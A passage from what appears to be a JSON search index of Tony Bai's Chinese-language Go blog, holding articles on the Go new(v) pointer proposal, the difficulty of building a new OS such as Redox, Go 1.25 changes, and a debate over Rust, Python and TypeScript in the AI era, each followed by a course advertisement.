*int。这是最简洁的方案。 new(v) 的核心争议与共识\nnew(v) 的主要争议在于语法歧义。当看到 new(pkg.X) 时，读者无法仅从语法上判断 pkg.X 是一个类型（new(T)）还是一个常量值（new(v)）。\n然而，经过深入讨论，提案委员会认为：\n这种歧义在实践中问题不大，因为绝大多数情况下，上下文足以让开发者区分类型和值。\n相比于 \u0026amp;v 带来的严重语义混乱，new(v) 的语法歧义是次要的、可接受的。\nnew 这个词本身就清晰地传达了**“创建新事物”**的意图，避免了 \u0026amp; 操作符的“拷贝还是引用”的混淆。\n考虑到 new(T) 的使用频率远低于 \u0026amp;T{}，将其“回收”并赋予更强大的功能，是对语言的一次有益的“清理”。\n最终，提案委员会倾向于接受 new(expr) 的形式。\nnew(expr) 将如何工作 根据讨论的共识，未来的 new(expr) 将遵循以下规则：\n基本用法: p := new(3) 将创建一个 *int，其值为 3。s := new(“hello”) 将创建一个 *string，其值为 “hello”。 类型推断: 对于无类型常量，将使用 Go 的默认类型规则（例如，整数默认为 int，浮点数默认为 float64）。 显式类型: 如果需要指定不同于默认的类型，需要使用类型转换：p64 := new(int64(3))来创建一个 int64类型变量p64，而不是默认的 int指针类型变量。 无上下文类型推断: new(v) 不会根据赋值的上下文来推断类型。例如，var p *int64 = new(3) 将会编译失败，因为 new(3) 的类型是 *int，不能赋值给 *int64。 结论：小改动，大便利 从 Rob Pike 最初的提案，到社区长达数年的激烈辩论，new(v) 的最终可能胜出是 Go 语言演进过程的一个缩影。它通过一个微小但精心设计的语法扩展，解决了困扰社区多年的一个普遍痛点。\n这个决策过程本身，也充分体现了 Go 团队的设计哲学：\n优先考虑语言的一致性和无歧义性，因此拒绝了看似更简洁但充满陷阱的 \u0026amp;expr 方案。 在不破坏兼容性的前提下，勇于重塑旧有特性，将使用率不高的 new 重新利用，赋予其更强大的生命力。 充分倾听并分析社区的真实数据，@adonovan 的大规模代码分析为该功能的需求提供了强有力的数据支撑。 虽然我们仍需等待该提案在未来某个 Go 版本中正式落地，但可以预见，当它到来时，我们代码库中那些重复的 Ptr 辅助函数将成为历史。这正是 Go 语言持续进化、不断提升开发者幸福感的魅力所在。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/17/create-pointer-to-simple-types/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/create-pointer-to-simple-types-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/17/create-pointer-to-simple-types\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/17/create-pointer-to-simple-types\"\u003ehttps://tonybai.com/2025/08/17/create-pointer-to-simple-types\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 Go 中创建一个指向基本类型（如 int 或 string）的指针，为何比创建一个指向结构体的指针更繁琐？这个长期存在的“人体工程学”问题，由 Go 语言的共同创造者之一 \u003cstrong\u003eRob Pike\u003c/strong\u003e 在提案 \u003ca href=\"https://github.com/golang/go/issues/45624\"\u003e#45624\u003c/a\u003e 中再次带入公众视野，并由此引发了一场长达数年、充满深度思辨的社区大讨论。最终，在权衡了多种方案的利弊后，社区逐渐形成共识，Go 提案委员会倾向于接受 new(v) 语法。本文将和大家一起回顾这场关于指针初始化的“十年之辩”，深入探讨各种方案的优劣，并解读为何 new(v) 可能成为最终赢家。\u003c/p\u003e","title":"从 Rob Pike 的提案到社区共识：Go 或将通过 new(v) 彻底解决指针初始化难题"},{"content":"内核之外的冰山：为什么说从零写一个操作系统已几乎不可能？ - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n内核之外的冰山：为什么说从零写一个操作系统已几乎不可能？ 八月 16, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/08/16/brand-new-os-impossible\n大家好，我是Tony Bai。\n对于许多心怀浪漫主义的开发者来说，“从零开始编写一个属于自己的操作系统”，或许是技术生涯中最终极、最性感的梦想。这几乎是现代编程世界的“创世纪”，是掌控计算机每一个比特的至高权力。\n然而，最近一位名为 Wildan M 的工程师，在他的一篇博文中，用一次亲身参与 Redox OS 项目的经历，给我们所有人泼了一盆冷水。他的结论简单而又颠覆：\n现在，从零开始编写一个全新的、能被广泛采用的操作系统，已几乎是一项不可能完成的任务。\n而其真正的难点，并非我们想象中那个神秘而复杂的内核，而在于内核之外，那座看不见的、庞大到令人绝望的“冰山”。\n冰山一角：内核，那个“最简单”的部分 故事的主角是 Redox OS，一个雄心勃勃的项目。它旨在用内存安全的 Rust 语言，构建一个现代的、基于微内核架构的、可以替代 Linux 和 BSD 的完整操作系统。\n当我们谈论“写一个 OS”时，我们通常指的是编写内核。那么 Redox OS 的内核有多复杂呢？文章给出了惊人的数据：\n代码量： 约 3 万行 (30k LoC)。\n启动速度： 大多数情况下，不到 1 秒。\n在短短十年间，Redox 团队已经完成了动态链接、Unix 套接字等核心功能。这无疑是令人敬佩的工程壮举。但 Wildan 指出，这仅仅是浮出水面的冰山一角。一个能启动的内核，距离一个“能用”的操作系统，还有着遥远的距离。\n冰山之下：生态移植的“五层地狱” 当作者兴致勃勃地想为 Redox OS 贡献力量，尝试将一些现代程序（如 Go, Node.js, Rust 编译器）移植上去时，他才真正撞上了那座隐藏在水面之下的巨大冰山。\n一个现代操作系统之所以“能用”，是因为它能运行我们日常使用的所有软件。而将这些软件“搬”到一个全新的操作系统上，需要闯过一重又一重难关。\n第一层：系统调用 (Syscall) 的鸿沟\n这是最底层的障碍。每个操作系统都有自己的一套与硬件和内核交互的“语言”，即系统调用。Redox OS 的 syscall 与我们熟知的 Linux 完全不同。这意味着，任何需要与内核打交道的程序（几乎是所有程序），都必须重写这部分逻辑，告诉它如何在新世界里“说话”。\n第二层：libc 的重担\n为了不让每个程序都去痛苦地学习 syscall 这门“方言”，操作系统通常会提供一个标准的“翻译官”——C 标准库 (libc)。它将复杂的 syscall 封装成开发者熟悉的函数（如 printf, open, read）。因此，一个新 OS 的核心任务之一，就是自己实现一个兼容的 libc。Redox 为此用 Rust 实现了一个名为 relibc 的项目，其工程量之浩大可想而知。\n第三层：POSIX 的“几乎兼容”陷阱\n即便新 OS 像 Redox 一样，努力兼容 POSIX 这个通用标准，噩梦也远未结束。因为无数现有的软件，早已深度依赖于 Linux 特有的、非 POSIX 的功能，比如解析 /proc 文件系统、操作 cgroups 等。结果就是，即使有了 relibc，你依然需要为这些软件挨个打上无数的“补丁”。文章提到，仅 Redox OS 的官方“软件食谱 (Cookbook)”中，就包含了约 70 个这样的补丁。\n第四层：编译器的“先有鸡还是先有蛋”\n你想在新 OS 上原生编译软件吗？那你首先需要一个能在这个 OS 上运行的编译器，比如 GCC、Rustc 或 Go 编译器。但问题是，移植编译器本身，就是所有软件移植任务中最复杂、最艰巨的一种。它需要处理极其底层的二进制格式、链接方式和系统调用。这形成了一个经典的“鸡生蛋还是蛋生鸡”的困局。\n第五层：语言生态的“次元壁”\n如果说移植 C 语言程序还只是“困难模式”，那么移植那些拥有自己庞大生态的现代语言程序（如 Rust, Go, Node.js），则是“地狱模式”。这些语言的包管理器（如 Cargo, Go Modules）会从中央仓库下载海量依赖，你很难像修改 C 代码一样，通过一个简单的 .patch 文件来修复所有问题。唯一的办法，往往是去 fork 无数个核心依赖库，然后逐一修改，这几乎是一项不可能完成的任务。\n小结：生态，才是那座无法逾越的山 当 Wildan 经历过这一切后，他得出了文章开头的那个结论。\n一个操作系统的成功，或许 20% 在于内核的精巧，而 80% 在于其上能否运行用户想要的所有软件。 后者，那个由编译器、标准库、第三方包、应用软件共同构成的庞大生态，才是真正的、几乎无法被复制的“护城河”。\n这就像建造一座城市。你可以设计出最宏伟、最先进的市政厅（内核），但如果没有配套的道路、水电、学校、医院、商店（软件生态），这座城市就永远只是一座无法住人的“鬼城”。\n这篇文章并非是要劝退所有对底层技术抱有热情的开发者。正如作者所说，如果你想学习，从零开始或加入 Redox 这样的项目，会是一段极其宝贵的经历。但如果你想构建一个被广泛采用的新 OS，你面对的将不仅仅是技术挑战，更是一个需要说服全球成千上万开发者为你“投票”的社会学难题。\n这或许就是对那些仍在坚持构建新 OS 的探索者们，我们应该报以最高敬意的原因。因为他们挑战的，不仅仅是代码，更是一整个时代建立起来的软件文明。\n资料链接：https://blog.wellosoft.net/writing-a-brand-new-os-is-almost-impossible-by-now\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/16/brand-new-os-impossible/","summary":"\u003ch1 id=\"内核之外的冰山为什么说从零写一个操作系统已几乎不可能---tony-bai\"\u003e内核之外的冰山：为什么说从零写一个操作系统已几乎不可能？ - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"内核之外的冰山：为什么说从零写一个操作系统已几乎不可能？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/15/some-changes-in-go-1-25\n大家好，我是Tony Bai。\n北京时间2025年8月13日，Go 团队如期发布了 Go 语言的最新大版本——Go 1.25。按照惯例，每次 Go 大版本发布时，我都会撰写一篇“Go 1.x 中值得关注的几个变化”的文章。自 2014 年的 Go 1.4 版本起，这一系列文章已经伴随大家走过了十一个年头。\n不过，随着我在版本冻结前推出的“Go 1.x 新特性前瞻”系列，以及对该大版本可能加入特性的一些独立的解读文章，本系列文章的形式也在不断演变。本文将不再对每个特性进行细致入微的分析，因为这些深度内容大多已在之前的《Go 1.25 新特性前瞻》一文中详细讨论过。本文将更聚焦于提炼核心亮点，并分享一些我的思考。\n好了，言归正传，我们来看看Go 1.25带来了哪些惊喜！\n语言变化：兼容性基石上的精雕细琢 正如 Go 一贯所做的，新版 Go 1.25 继续遵循 Go1 的兼容性规范。最令 Gopher 们安心的一点是：Go 1.25 没有引入任何影响现有 Go 程序的语言级变更。\nThere are no languages changes that affect Go programs in Go 1.25.\n这种对稳定性的极致追求，是 Go 成为生产环境首选语言之一的重要原因。\n尽管语法层面波澜不惊，但语言规范内部却进行了一次“大扫除”——移除了“core types”的概念。这一变化虽然对日常编码无直接影响，但它简化了语言规范，为未来泛型可能的演进铺平了道路，体现了 Go 团队在设计层面的严谨与远见。关于此变化的深度解读，可以回顾我之前的文章《Go 1.25 规范大扫除：移除“Core Types”，为更灵活的泛型铺路》。\n编译器与运行时：看不见的性能飞跃 如果说 Go 1.24 的运行时核心是优化 map，那么 Go 1.25 的灵魂则在于让 Go 程序更“懂”其运行环境，并对 GC 进行了大刀阔斧的革新。\n容器感知型 GOMAXPROCS 这无疑是 Go 1.25 最具影响力的变化之一。在容器化部署已成事实标准的今天，Go 1.25 的运行时终于具备了 cgroup 感知能力。在 Linux 系统上，它会默认根据容器的 CPU limit 来设置 GOMAXPROCS，并能动态适应 limit 的变化。\n这意味着，只需升级到 Go 1.25，你的 Go 应用在 K8s 等环境中的 CPU 资源使用将变得更加智能和高效，告别了过去因 GOMAXPROCS 默认值不当而导致的资源浪费或性能瓶颈。更多细节，请参阅我的文章《Go 1.25 新提案：GOMAXPROCS 默认值将迎 Cgroup 感知能力，终结容器性能噩梦？》。\n实验性的 Green Tea GC Go 1.25 迈出了 GC 优化的重要一步，引入了一个新的实验性垃圾收集器。通过设置 GOEXPERIMENT=greenteagc 即可在构建时启用。\nA new garbage collector is now available as an experiment. This garbage collector’s design improves the performance of marking and scanning small objects through better locality and CPU scalability.\n据官方透露，这个新 GC 有望为真实世界的程序带来 10%—40% 的 GC 开销降低。知名go开发者Josh Baker(@tidwall)在Go 1.25发布正式版后，在X上分享了自己使用go 1.25新gc（绿茶）后的结果，他开源的实时地理空间和地理围栏项目tile38的GC开销下降35%：\n这是一个巨大的性能红利，尤其对于重度依赖GC的内存密集型应用。虽然它仍在实验阶段，但其展现的潜力已足够令人兴奋。对 Green Tea GC 设计原理感兴趣的朋友，可以阅读我的文章《Go 新垃圾回收器登场：Green Tea GC 如何通过内存感知显著降低 CPU 开销？》。\n此外，Go 1.25 还修复了一个存在于 Go 1.21 至 1.24 版本中可能导致 nil pointer 检查被错误延迟的编译器 bug，并默认启用了 DWARFv5 调试信息，进一步缩小了二进制文件体积并加快了链接速度，对DWARFv5感兴趣的小伙伴儿可以重温一下我之前的《Go 1.25链接器提速、执行文件瘦身：DWARF 5调试信息格式升级终落地》一文，了解详情。\n工具链：效率与可靠性的双重提升 强大的工具链是 Go 生产力的核心保障。Go 1.25 在此基础上继续添砖加瓦。\ngo.mod 新增 ignore 指令 对于大型 Monorepo 项目，go.mod 新增的 ignore 指令是一个福音。它允许你指定 Go 命令在匹配包模式时应忽略的目录，从而在不影响模块依赖的前提下，有效提升大型、混合语言仓库中的构建与扫描效率。关于此特性的详细用法，请见《Go 工具链进化：go.mod 新增 ignore 指令，破解混合项目构建难题》。\n支持仓库子目录作为模块根路径 一个长期困扰 Monorepo 管理者和自定义 vanity import 用户的难题在 Go 1.25 中也得到了解决。Go 命令现在支持在解析 go-import meta 标签时，通过新增的 subdir 字段，将 Git 仓库中的子目录指定为模块的根。\n这意味着，你可以轻松地将 github.com/my-org/my-repo/foo/bar 目录映射为模块路径 my.domain/bar，而无需复杂的代理或目录结构调整。这个看似微小但备受期待的改进，极大地提升了 Go 模块在复杂项目结构中的灵活性。想了解其来龙去脉和具体配置方法，可以参考我的文章《千呼万唤始出来？Go 1.25解决Git仓库子目录作为模块根路径难题》。\ngo doc -http：即开即用的本地文档 这是一个虽小但美的改进。新的 go doc -http 选项可以快速启动一个本地文档服务器，并在浏览器中直接打开指定对象的文档。对于习惯于离线工作的开发者来说，这极大地提升了查阅文档的便捷性。详细介绍见《重拾精髓：go doc -http 让离线包文档浏览更便捷》。\ngo vet 新增分析器 go vet 变得更加智能，新增了两个实用的分析器：\nwaitgroup：检查 sync.WaitGroup.Add 的调用位置是否错误（例如在 goroutine 内部调用）。 hostport：诊断不兼容 IPv6 的地址拼接方式 fmt.Sprintf(“%s:%d”, host, port)，并建议使用 net.JoinHostPort。 这些静态检查能帮助我们在编码阶段就扼杀掉一批常见的并发和网络编程错误。\n标准库：功能毕业与实验探索 标准库的演进是每个 Go 版本的重要看点。\ntesting/synctest 正式毕业 在 Go 1.24 中以实验特性登场的 testing/synctest 包，在 Go 1.25 中正式毕业，成为标准库的一员。它为并发代码测试提供了前所未有的利器，通过虚拟化时间和调度，让编写可靠、无 flakiness 的并发测试成为可能。我曾撰写过一个**“征服 Go 并发测试”**的微专栏，系统地介绍了该包的设计与实践，欢迎大家订阅学习。\nencoding/json/v2 开启实验 这是 Go 1.25 最受关注的实验性特性之一！通过 GOEXPERIMENT=jsonv2 环境变量，我们可以启用一个全新的、高性能的 JSON 实现。\nGo 1.25 includes a new, experimental JSON implementation… The new implementation performs substantially better than the existing one under many scenarios.\n根据官方说明，json/v2 在解码性能上相较于 v1 有了“巨大”的提升。这是 Go 社区多年来对 encoding/json 包性能诟病的一次正面回应。虽然其 API 仍在演进中，但它预示着 Go 的 JSON 处理能力未来将达到新的高度。对 v2 的初探，可以参考我的文章《手把手带你玩转 GOEXPERIMENT=jsonv2：Go 下一代 JSON 库初探》。jsonv2支持真流式编解码的方法，也可以参考《Go json/v2实战：告别内存爆炸，掌握真流式Marshal和Unmarshal》这篇文章。\nsync.WaitGroup.Go：并发模式更便捷 Go 语言的并发编程哲学之一就是让事情保持简单。Go 1.25 在 sync.WaitGroup 上新增的 Go 方法，正是这一哲学的体现。\n这个新方法旨在消除 wg.Add(1) 和 defer wg.Done() 这一对经典的样板代码。现在，你可以直接调用 wg.Go(func() { … }) 来启动一个被 WaitGroup 追踪的 goroutine，Add 和 Done 的调用由 Go 方法在内部自动处理。这不仅让代码更简洁，也从根本上避免了因忘记调用 Add 或 Done 而导致的常见并发错误。\n关于这个便捷方法的来龙去脉和设计思考，可以回顾我之前的文章《WaitGroup.Go 要来了？Go 官方提案或让你告别 Add 和 Done 样板代码》。\n其他：Trace Flight Recorder 最后，我想特别提一下 runtime/trace 包新增的 Flight Recorder API。传统的运行时 trace 功能强大但开销巨大，不适合在生产环境中持续开启。\ntrace.FlightRecorder 提供了一种轻量级的解决方案：它将 trace 数据持续记录到一个内存中的环形缓冲区。当程序中发生某个重要事件（如一次罕见的错误）时，我们可以调用 FlightRecorder.WriteTo 将最近一段时间的 trace 数据快照保存到文件。这种“事后捕获”的模式，使得在生产环境中调试偶发、疑难的性能或调度问题成为可能，是 Go 诊断能力的一次重大升级。更多详情可以参阅《Go pprof 迎来重大革新：v2 提案详解，告别默认注册，拥抱飞行记录器》。\n小结 Go 1.25 的发布，再次彰显了 Go 语言务实求进的核心哲学。它没有追求华而不实的语法糖，而是将精力聚焦于那些能为广大开发者带来“无形收益”的领域：更智能的运行时、更快的 GC、更可靠的编译器、更高效的工具链。\n这些看似底层的改进，正是 Go 作为一门“生产力语言”的价值所在。它让开发者可以专注于业务逻辑，而将复杂的系统优化和环境适配，放心地交给 Go 语言自身。\n我鼓励大家尽快将 Go 1.25 应用到自己的项目中，亲自感受这些变化带来的提升。Go 的旅程，仍在继续，让我们共同期待它在未来创造更多的可能。\n感谢阅读！\n如果这篇文章让你对 Go 1.25 新特性有了新的认识，请帮忙 点赞和分享，让更多朋友一起学习和进步！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/15/some-changes-in-go-1-25/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/some-changes-in-go-1-25-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/15/some-changes-in-go-1-25\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/15/some-changes-in-go-1-25\"\u003ehttps://tonybai.com/2025/08/15/some-changes-in-go-1-25\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e北京时间2025年8月13日，Go 团队如期发布了 Go 语言的最新大版本——\u003ca href=\"https://go.dev/blog/go1.25\"\u003eGo 1.25\u003c/a\u003e。按照惯例，每次 Go 大版本发布时，我都会撰写一篇“Go 1.x 中值得关注的几个变化”的文章。自 2014 年的 \u003ca href=\"https://tonybai.com/2014/11/04/some-changes-in-go-1-4\"\u003eGo 1.4 版本\u003c/a\u003e起，这一系列文章已经伴随大家走过了十一个年头。\u003c/p\u003e","title":"Go 1.25中值得关注的几个变化"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/14/rs-py-ts-trifecta\n大家好，我是Tony Bai。\n在 AI 浪潮席卷而来的今天，一个深刻的问题正摆在所有开发者面前：我们手中的编程语言，将如何被这股力量重塑？我们未来的技能投资，应该押注在哪里？\n最近，Rust 核心团队的 Niko Matsakis，在他的一篇博文中给出了一个大胆的预测：Rust、Python 和 TypeScript 将成为未来的主导语言（移动端除外），形成新的“三驾马车”。\n他的核心论点极具说服力：AI 正在削弱我们的“语言忠诚度”。过去，我们选择最熟悉的语言以求最快，因为学习新语言和其生态的成本太高。但现在，AI 正在改变这一切。\nNiko 写道：“当我使用 AI 助手构建项目时，我的思维方式不同了。我更多地考虑有哪些库可用，我的基本性能需求是什么，以及我期望与哪些平台集成。” 换言之，AI 正在帮助我们克服学习曲线的“坑”，让我们得以回归本源，为任务选择**“基础最扎实”**的语言。\n而这“三驾马车”，恰好占据了最关键的生态位：\nRust： 系统与性能的基石，以其无与伦比的内存安全和效率成为底层开发的首选。 Python： 数据与实验的引擎，凭借其在科学计算和机器学习领域的绝对统治力，主导原型设计和数据应用。 TypeScript： Web 与应用的界面，作为 Web 的“母语”，在浏览器和众多跨平台应用中拥有不可替代的地位。 这个预测听起来逻辑严谨，几乎无懈可击。然而，当我们把目光从理想的“基础”，转向现实世界的复杂工程实践时，一些强大的“挑战者”浮出水面，它们的故事，同样值得倾听。\n一种新的编程范式：“想法导向编程” 在深入辩论之前，我们必须先理解 Niko 提出的一个核心概念，它支撑着整个预测的基石——“想法导向编程” (Idea-Oriented Programming, IOP)。\n这并非是那种懒散、模糊地对 AI 说“给我做个XX”的“氛围编程 (Vibe Coding)”。IOP 是一种严谨的编程范式，它重新定义了人与 AI 的关系：\n“开发者更像是首席架构师，而你的编码工具就像是你的学徒。你思考目标和关键设计，制定清晰的计划，并将重活累活授权给工具——然后你审查它们的产出，并进行调整。”\n在这种模式下，AI 不是“神灯精灵”，而是你的“学徒”。它负责处理繁琐的实现细节，而你，则被解放出来，专注于更高层次的、创造性的工作。正是这种角色的转变，使得“语言基础”变得比“个人熟练度”更重要。\n然而，这个看似完美的预测，真的无懈可击吗？\n挑战者一：Go 语言的“反击”——简洁即力量 Niko 的预测，似乎忽略了一个在工程效率中至关重要的因素——简单性 (Simplicity)。而这，正是 Go 语言的立身之本。\n1. 真正的“AI 友好”： Niko 强调，强大的类型系统对 AI 来说是至关重要的“护栏”。这一点毋庸置疑。但 AI 同样面临“认知负荷”的问题。AI 极其擅长生成 Go 这种规则简单、没有“魔法”、风格统一的样板代码。但让 AI 完美处理 Rust 复杂的生命周期和所有权，或者 TypeScript 中层出不穷的类型体操，至今仍是一个巨大的挑战。在未来“人机协作审查”的开发模式下，哪种语言对审查者更友好？答案不言而喻。\n2. 工程效率的真谛： AI 能加速“编码”，但无法加速“决策”。Go 强大的标准库和“小而美”的生态，为开发者提供了一条清晰的“默认路径”，极大地避免了在技术选型上陷入“分析瘫痪”。在一个团队中，这种由简洁性带来的决策效率和低认知负荷，是实实在在的生产力。\n3. 并发模型的优势： 在云原生和后端服务的核心地带，Go 的 Goroutine + Channel 并发模型，其简单性和在高 I/O 吞吐场景下的卓越表现，依然是难以被撼动的“杀手锏”。\nGo 语言似乎在用它的整个设计哲学反问：当 AI 能处理大部分实现细节时，我们人类开发者最宝贵的资源——注意力——应该花在与语言的复杂性搏斗上，还是花在业务逻辑和系统设计上？\n挑战者二：Java/JVM 生态的“护城河”——惯性即引力 Niko 的预测，也可能低估了企业级市场的惯性，以及 JVM 生态那深不见底的“护城河”。\n1. 庞大的生态与人才库： 全球数百万的 Java 开发者，以及由 Spring 等框架构建起来的、支撑着全球无数核心业务的庞大系统，不会在一夜之间消失。AI 或许能帮你写一个 CRUD，但无法替代一个经验丰富的架构师来驾驭一个复杂的企业级系统。\n2. 虚拟机的力量： JVM 本身就是一层极其强大的抽象。它提供了无与伦比的跨平台能力、经过数十年优化的运行时性能、以及一整套成熟到“令人发指”的调试、监控和性能分析工具。对于追求长期稳定和可维护性的大型企业来说，这种确定性本身就是一种最“扎实”的基础。\n3. 新语言的活力： 别忘了，JVM 生态并非只有 Java。像 Kotlin、Scala和Clojure 这样的现代化语言，既享受了 JVM 的全部生态红利，又提供了强大的类型系统和函数式编程能力，它们同样是“三驾马车”的有力竞争者。\n在追求“基础扎实”的企业世界里，Java/JVM 生态的稳定性和成熟度，本身就是一种难以被轻易取代的引力。\n小结：一场关于“什么最重要”的伟大辩论 Niko 的预测，与其说是一个结论，不如说它开启了一场关于“AI 时代，什么才是最重要的语言特性”的伟大辩论。\n“三驾马车”的拥护者认为： 是强大的类型系统和繁荣的库生态，它们为 AI 提供了最坚实的基础和最丰富的工具。 Go 的支持者反驳道： 是极致的简洁性和低认知负荷，它们将人类从复杂性中解放出来，专注于创造。 Java/JVM 的捍卫者则强调： 是成熟的企业生态和强大的运行时，它们为关键业务提供了最需要的稳定性和确定性。 有趣的是，Niko 自己也承认，这种“想法导向编程”的角色，与大公司的“首席工程师 (Principal Engineer)”非常相似。这引出了一个新的问题：过去，首席工程师的价值在于其丰富的经验和判断力。当 AI 让所有开发者都能像 PE 一样工作时，我们又该如何培养这种宝贵的判断力？\n这或许是这场变革中，留给我们的最深刻的思考题。\nRust、Python、TypeScript 组成的“专家团队”或许是一条路，但 Go 这样的“全能瑞士军刀”和 Java 这样的“企业级航母”，也同样拥有无法被忽视的优势。\n唯一可以确定的是，旧的格局正在被打破。而未来的编程语言版图，将由我们每一个开发者，用自己的项目和选择，共同绘制。\n你认为，在 AI 的浪潮下，哪种语言或哪种特性，才是真正的未来？欢迎在评论区留下你的看法。\n资料链接：https://smallcultfollowing.com/babysteps/blog/2025/07/31/rs-py-ts-trifecta\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/14/rs-py-ts-trifecta/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/rs-py-ts-trifecta-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/14/rs-py-ts-trifecta\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/14/rs-py-ts-trifecta\"\u003ehttps://tonybai.com/2025/08/14/rs-py-ts-trifecta\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 AI 浪潮席卷而来的今天，一个深刻的问题正摆在所有开发者面前：我们手中的编程语言，将如何被这股力量重塑？我们未来的技能投资，应该押注在哪里？\u003c/p\u003e","title":"AI正在重塑编程语言格局：Rust、Python 和 TypeScript 真是最终赢家吗？"},{"content":"二进制的“魔术”：每个 Go 程序员都应掌握的位操作艺术 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google 